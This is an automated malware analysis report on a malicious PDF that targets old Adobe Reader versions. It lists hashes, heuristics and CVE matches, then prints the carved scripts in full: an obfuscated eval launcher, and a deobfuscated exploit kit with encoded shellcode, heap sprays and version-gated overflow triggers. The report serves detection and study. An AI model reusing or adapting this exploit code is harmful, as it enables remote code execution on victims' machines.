Malicious PDF — malware analysis report

Static analysis result for SHA-256 d131ef22c521b599…

MALICIOUS

PDF

25.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 469f153d7f5f6b5cda00d5590f293400 SHA-1: a036160441ab05f5a091d66bd8cbdec1f4241c11 SHA-256: d131ef22c521b59944ceb87eed9d94cc17714fb91ee745c60586347e5fa819e2
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named javascript_obj0001_000.js, is likely intended to perform malicious actions. The use of String.fromCharCode further suggests obfuscation techniques common in malicious scripts. The exact intent of the script cannot be fully determined due to potential obfuscation, but it is highly probable that it aims to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 557 bytes
SHA-256: f1bbadf8869d0a88c1cc671c3a70ab090ca05bb1d4441c61e2c81cdf6e8551e7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
zkvc='';
var q = date.getFullYear()-2007;
deq='2011s'.replace(date.getFullYear(),'hi');
lvwj=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+deq+'[a]');
var kfhn = g(lvwj);
yadq=('sub2011').replace(date.getFullYear(),'ject');
var ujj=g(yadq).replace(date.getFullYear(),'al');
puq=g(ujj);
qnb='pro2011cer';
qnb=puq('qnb.replace(date.getFullYear(),"du")');
awccx=puq(g(qnb));
bdlje = puq(kfhn);
for (i = 0; i < bdlje.length; i++) {
	khgrw = bdlje[i];
	zkvc += awccx(khgrw);
}
puq(zkvc);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F6 3636 bytes
SHA-256: ca06836325cb33c95af8a9730e7ddb9ce57248734651512b490960731cce5513
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u0234%ue2aa%uc3fa%ue5e8%uffff%uebff%u030e%u0202%u835c%u5eee%u0203%u8b02%u8fe5%u124d%u6d8f%u3356%u55d9%u5153%u5151%u5151%u5151%u5157%u6a51%u0306%u0202%u5457%u6a51%u6c6d%u0202%u776a%u6e70%u566f%u8c6a%u0c4c%ueaee%u024a%u0202%uea52%u027e%u0202%ud2fd%uc681%u6a0a%ued4d%u074d%uea52%u026e%u0202%ud2fd%uc287%u1577%u5668%uf15b%u6aa8%ufc70%u14b1%u1fea%u0202%u5202%u53ea%u0202%ufd02%u51d2%ufc68%u8b6a%u036d%ueabf%u020a%u0202%uea52%u023e%u0202%ud2fd%u3362%u66c2%u5289%u8932%u0e50%u5089%u8916%u2a70%u1abb%u0202%u3302%u33fd%uaec2%u633e%u007e%u222e%ucdc3%u030f%ue0c5%u83f2%u59fd%u48be%u8968%u1240%u1089%udb77%u468b%u1e26%uc163%u8962%u266e%u8926%u3e47%u5689%u7a07%ue803%u4889%u891a%u2258%ue903%u36e1%u894b%u8936%uec03%ufd33%uc233%uaefe%uc286%u0576%ucdc3%u030f%ue9c5%u39f6%u267e%u772a%u89e3%u2658%ue903%u8964%u490e%u5889%u031e%u89e9%u8906%uea03%u468b%u1e26%uc063%u020a%uedea%ufdfc%u6afd%u7676%u3872%u2d2d%u6c77%u6f60%u612c%u2c6d%u6161%u662d%u722c%u726a%u643d%u303f%u2434%u3f67%u0231';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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